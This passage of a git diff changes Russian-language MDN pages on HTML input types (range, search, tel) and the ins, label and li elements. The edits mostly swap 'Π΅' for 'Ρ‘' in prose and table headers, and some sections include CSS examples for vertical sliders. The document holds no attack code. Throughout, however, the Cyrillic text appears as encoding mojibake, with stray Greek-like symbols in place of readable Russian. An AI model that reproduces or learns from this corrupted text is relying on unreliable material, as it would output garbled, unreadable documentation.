+<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ эту Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ, ΠΈ Π½Π° сСгодняшний дСнь Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ всС возмоТности, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ HTML, прСдставляСм нСсколько ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ², ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½Π° macOS Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚.</p>
<h5 id="НСдСкорированный_ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€_Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°">НСдСкорированный ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°</h5>
@@ -327,7 +327,7 @@ translation_of: Web/HTML/Element/input/range
<div id="Orientation_sample3">
<h4 id="HTML_2">HTML</h4>
-<p>Π’ HTML Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΡƒ Π²ΠΎΠΊΡ€ΡƒΠ³ {{HTMLElement("input")}}Β  - {{HTMLElement("div")}}, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ послС выполнСния трансформации (Ρ‚.ΠΊ. трансформация автоматичСски Π½Π΅ влияСт Π½Π° ΠΌΠ°ΠΊΠ΅Ρ‚ страницы):</p>
+<p>Π’ HTML Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΡƒ Π²ΠΎΠΊΡ€ΡƒΠ³ {{HTMLElement("input")}}Β  - {{HTMLElement("div")}}, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ послС выполнСния трансформации (Ρ‚.ΠΊ. трансформация автоматичСски Π½Π΅ влияСт Π½Π° ΠΌΠ°ΠΊΠ΅Ρ‚ страницы):</p>
<pre class="brush: html notranslate">&lt;div class="slider-wrapper"&gt;
&lt;input type="range" min="0" max="11" value="7" step="1"&gt;
@@ -335,7 +335,7 @@ translation_of: Web/HTML/Element/input/range
<h4 id="CSS_2">CSS</h4>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ CSS. Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, это CSS для самой ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ; это ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ дисплСя ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ располоТСния Π½Π° страницС; ΠΏΠΎ сути, ΠΎΠ½ Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ страницы для слайдСра, Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ слайдСр Π² Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ пространствС, Π½Π΅ создавая бСспорядка.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ CSS. Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, это CSS для самой ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ; это ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ дисплСя ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ располоТСния Π½Π° страницС; ΠΏΠΎ сути, ΠΎΠ½ Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ страницы для слайдСра, Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ слайдСр Π² Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ пространствС, Π½Π΅ создавая бСспорядка.</p>
<pre class="brush: css notranslate">.slider-wrapper {
display: inline-block;
@@ -372,7 +372,7 @@ translation_of: Web/HTML/Element/input/range
<h4 id="CSS_3">CSS</h4>
-<p>Π‘Π΅Ρ€Π΅ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΈΠ½ΠΏΡƒΡ‚Ρ‹ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΈΠΏ range:</p>
+<p>Π‘Π΅Ρ€Ρ‘ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΈΠ½ΠΏΡƒΡ‚Ρ‹ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΈΠΏ range:</p>
<pre class="notranslate">input[type="range"] {
-webkit-appearance: slider-vertical;
@@ -406,7 +406,7 @@ translation_of: Web/HTML/Element/input/range
<h4 id="CSS_4">CSS</h4>
-<p>Π‘Π΅Ρ€Π΅ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΈΠ½ΠΏΡƒΡ‚Ρ‹ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΈΠΏ range, мСняСм writing mode с default Π½Π°Β <code>bt-lr</code>, ΠΈΠ»ΠΈ bottom-to-top ΠΈ left-to-right:</p>
+<p>Π‘Π΅Ρ€Ρ‘ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΈΠ½ΠΏΡƒΡ‚Ρ‹ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΈΠΏ range, мСняСм writing mode с default Π½Π°Β <code>bt-lr</code>, ΠΈΠ»ΠΈ bottom-to-top ΠΈ left-to-right:</p>
<pre class="notranslate">input[type="range"] {
writing-mode: bt-lr;
@@ -416,7 +416,7 @@ translation_of: Web/HTML/Element/input/range
<h3 id="ВсС_вмСстС">ВсС вмСстС</h3>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π²Ρ‹ΡˆΠ΅ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΌΡ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ всС вмСстС Ρ‡Ρ‚ΠΎΠ± Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ кроссбраузСрности Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ:</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π²Ρ‹ΡˆΠ΅ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΌΡ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ всС вмСстС Ρ‡Ρ‚ΠΎΠ± Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ кроссбраузСрности Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ:</p>
<h4 id="HTML_6">HTML</h4>
@@ -427,7 +427,7 @@ translation_of: Web/HTML/Element/input/range
<h4 id="CSS_5">CSS</h4>
-<p>Π‘Π΅Ρ€Π΅ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΈΠ½ΠΏΡƒΡ‚Ρ‹ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΈΠΏ range, мСняСм writing mode с default Π½Π°Β <code>bt-lr</code>, ΠΈΠ»ΠΈ bottom-to-top ΠΈ left-to-right, для Edge ΠΈ Internet Explorer, ΠΈ добавляСм <code>-webkit-appearance: slider-vertical</code> для всСх -webkit-based Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²:</p>
+<p>Π‘Π΅Ρ€Ρ‘ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΈΠ½ΠΏΡƒΡ‚Ρ‹ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΈΠΏ range, мСняСм writing mode с default Π½Π°Β <code>bt-lr</code>, ΠΈΠ»ΠΈ bottom-to-top ΠΈ left-to-right, для Edge ΠΈ Internet Explorer, ΠΈ добавляСм <code>-webkit-appearance: slider-vertical</code> для всСх -webkit-based Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²:</p>
<pre class="notranslate">input[type="range"] {
writing-mode: bt-lr;
diff --git a/files/ru/web/html/element/input/search/index.html b/files/ru/web/html/element/input/search/index.html
index a4307a573b..e870f86c85 100644
--- a/files/ru/web/html/element/input/search/index.html
+++ b/files/ru/web/html/element/input/search/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/search
---
<div>{{HTMLRef}}</div>
-<p><span class="seoSummary">{{HTMLElement("input")}} элСмСнты с Ρ‚ΠΈΠΏΠΎΠΌΒ <code><strong>search</strong></code> это тСкстовыС поля Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ для Π²Π²ΠΎΠ΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ поисковых запросов. Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Π° элСмСнтам с Ρ‚ΠΈΠΏΠΎΠΌΒ <code><a href="/en-US/docs/Web/HTML/Element/input/text">text</a></code>, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ стилизация Π·Π° счСт {{Glossary("user agent")}}, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ΠΌ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ <strong>Π½Π΅ стандартизированного</strong> события </span>{{domxref("HTMLElement/search_event", "onsearch")}}.</p>
+<p><span class="seoSummary">{{HTMLElement("input")}} элСмСнты с Ρ‚ΠΈΠΏΠΎΠΌΒ <code><strong>search</strong></code> это тСкстовыС поля Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ для Π²Π²ΠΎΠ΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ поисковых запросов. Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Π° элСмСнтам с Ρ‚ΠΈΠΏΠΎΠΌΒ <code><a href="/en-US/docs/Web/HTML/Element/input/text">text</a></code>, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ стилизация Π·Π° счёт {{Glossary("user agent")}}, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ΠΌ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ <strong>Π½Π΅ стандартизированного</strong> события </span>{{domxref("HTMLElement/search_event", "onsearch")}}.</p>
<div>{{EmbedInteractiveExample("pages/tabbed/input-search.html", "tabbed-standard")}}</div>
diff --git a/files/ru/web/html/element/input/tel/index.html b/files/ru/web/html/element/input/tel/index.html
index fca5203560..35f2014606 100644
--- a/files/ru/web/html/element/input/tel/index.html
+++ b/files/ru/web/html/element/input/tel/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/tel
---
<div>{{HTMLRef}}</div>
-<p><span class="seoSummary">{{HTMLElement("input")}} элСмСнт Ρ‚ΠΈΠΏΠ°Β <code><strong>tel</strong></code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽΒ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ Π½ΠΎΠΌΠ΅Ρ€ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚<code><a href="/en-US/docs/Web/HTML/Element/input/email">&lt;input type="email"&gt;</a></code>Β ΠΈΒ <code><a href="/en-US/docs/Web/HTML/Element/input/url">&lt;input type="url"&gt;</a></code> , Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ провСряСтся автоматичСски ΠΏΠΎΒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρƒ,Β ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Ρ„ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π° , ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹Ρ… Π½ΠΎΠΌΠ΅Ρ€ΠΎΠ² сильно Ρ€Π°Π·Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ</span></p>
+<p><span class="seoSummary">{{HTMLElement("input")}} элСмСнт Ρ‚ΠΈΠΏΠ°Β <code><strong>tel</strong></code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽΒ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ Π½ΠΎΠΌΠ΅Ρ€ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚<code><a href="/en-US/docs/Web/HTML/Element/input/email">&lt;input type="email"&gt;</a></code>Β ΠΈΒ <code><a href="/en-US/docs/Web/HTML/Element/input/url">&lt;input type="url"&gt;</a></code> , Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ провСряСтся автоматичСски ΠΏΠΎΒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρƒ,Β ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Ρ„ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π° , ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹Ρ… Π½ΠΎΠΌΠ΅Ρ€ΠΎΠ² сильно Ρ€Π°Π·Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ</span></p>
<div>{{EmbedInteractiveExample("pages/tabbed/input-tel.html", "tabbed-standard")}}</div>
diff --git a/files/ru/web/html/element/ins/index.html b/files/ru/web/html/element/ins/index.html
index 5378c50a55..7115a36be4 100644
--- a/files/ru/web/html/element/ins/index.html
+++ b/files/ru/web/html/element/ins/index.html
@@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/ins
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅</span> <span>Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</span></span></th>
+ <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅</span> <span>Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</span></span></th>
<td><span id="result_box" lang="ru"><span>Π›ΡŽΠ±ΠΎΠΉ элСмСнт</span><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚</span></span> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содСрТимоС Ρ„Ρ€Π°Π·</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/label/index.html b/files/ru/web/html/element/label/index.html
index b8faa5aa7e..2984769302 100644
--- a/files/ru/web/html/element/label/index.html
+++ b/files/ru/web/html/element/label/index.html
@@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/label
<td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">ΠžΠ±Ρ‰ΠΈΠΉ ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">тСкстовый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Interactive_content">ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, элСмСнт Ρ„ΠΎΡ€ΠΌΡ‹</a>, ΠΎΡ‰ΡƒΡ‚ΠΈΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">ВСкстовый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, Π½ΠΎ Π±Π΅Π· Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… элСмСнтов <code>label</code>. НСдопустимы Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ Π² <code>label </code>элСмСнты ΠΏΠΎΠΌΠΈΠΌΠΎ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ.</td>
</tr>
<tr>
@@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/label
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΊΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΊΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, Ρ€Π°Π·Ρ€Π΅ΡˆΠ°ΡŽΡ‰ΠΈΠΉ <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">тСкстовый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</a></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚</td>
</tr>
<tr>
@@ -53,7 +53,7 @@ translation_of: Web/HTML/Element/label
</dd>
<dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}} {{obsolete_inline}}</dt>
<dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Ρ„ΠΎΡ€ΠΌΡ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ связан label (Π΅Π³ΠΎ Π²Π»Π°Π΄Π΅Π»Π΅Ρ† Ρ„ΠΎΡ€ΠΌΡ‹). Если ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° являСтся ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ элСмСнта {{HTMLElement ("form")}} Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚ΠΎ позволяСт Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты label Π² любом мСстС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠ°ΠΊ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ ΠΈΡ… элСмСнтов Ρ„ΠΎΡ€ΠΌΡ‹..
- <div class="note">Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТимого Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· спСцификации HTML 28 апрСля 2016 Π³. Однако сцСнарии ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ ΠΈΠΌΠ΅ΡŽΡ‚ доступ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния {{domxref ("HTMLLabelElement.form")}}; ΠΎΠ½ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΡƒ, Ρ‡Π»Π΅Π½ΠΎΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ являСтся связанный элСмСнт управлСния label, ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ NULL, Ссли label Π½Π΅ связана с элСмСнтом управлСния ΠΈΠ»ΠΈ элСмСнт управлСния Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ„ΠΎΡ€ΠΌΡ‹.</div>
+ <div class="note">Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТимого Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· спСцификации HTML 28 апрСля 2016 Π³. Однако сцСнарии ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ ΠΈΠΌΠ΅ΡŽΡ‚ доступ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния {{domxref ("HTMLLabelElement.form")}}; ΠΎΠ½ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΡƒ, Ρ‡Π»Π΅Π½ΠΎΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ являСтся связанный элСмСнт управлСния label, ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ NULL, Ссли label Π½Π΅ связана с элСмСнтом управлСния ΠΈΠ»ΠΈ элСмСнт управлСния Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ„ΠΎΡ€ΠΌΡ‹.</div>
</dd>
</dl>
diff --git a/files/ru/web/html/element/li/index.html b/files/ru/web/html/element/li/index.html
index a87ea6a2b0..115c0c9a4e 100644
--- a/files/ru/web/html/element/li/index.html
+++ b/files/ru/web/html/element/li/index.html
@@ -10,7 +10,7 @@ translation_of: Web/HTML/Element/li
---
<div>{{HTMLRef}}</div>
